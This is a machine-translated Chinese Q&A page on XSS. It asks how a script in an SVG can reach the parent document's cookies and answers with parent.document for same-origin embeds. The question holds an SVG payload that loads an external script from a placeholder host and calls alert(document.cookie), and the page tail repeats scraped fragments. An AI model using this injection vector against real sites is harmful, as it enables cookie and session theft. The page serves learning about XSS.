如何從SVG文檔JavaScript獲取父文檔對象？

Question

我正在學習XSS。 我知道HTML SVG對象存在漏洞

來源在這里

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="0" height="0" id="xss"><script type="text/ecmascript" xlink:href="http://blahblahblah.com/~blah/xss/xss.js"></script></svg>

我在xss.js中嘗試過

alert(document.cookie);

但Cookie的值是“未定義”

SVG對象中有Document對象，但是與HTML Document對象不同。

然后，如何獲取Cookie的父文檔對象？

請幫忙。

謝謝閱讀。

Answer 1

有一個HTMLDocument接口和SVGDocument接口，這兩個接口均來自提供一些常用方法的基本Document接口。 Cookie是HTMLDocument界面的一部分，因此只有HTML文檔可以獲取Cookie。

如果您正在談論通過<object> ， <embed>或<iframe>標簽將<svg>嵌入html文檔中的情況，那么parent.document或top.document將為您提供來自html的父html文檔。 SVG對象中的腳本腳本，前提是SVG和HTML文檔位於同一域中。

這至少對我的Firefox有效...

<html>
  <body>
    <object id="object" data="embedded.svg" type="image/svg+xml"
            width="450" height="300">
    </object>
  </body>
</html>

連同Embedded.svg

<svg xmlns="http://www.w3.org/2000/svg">
  <rect x="0" y="0" width="100%" height="100%" fill="blue"/>
  <script>
    alert(parent.document);
  </script>
</svg>

如何從SVG文檔JavaScript獲取父文檔對象？

問題描述

1 個解決方案

解決方案1
4 2013-06-22 09:56:47

如何從SVG文檔JavaScript獲取父文檔對象？

問題描述

1 個解決方案

解決方案1 4 2013-06-22 09:56:47

解決方案1
4 2013-06-22 09:56:47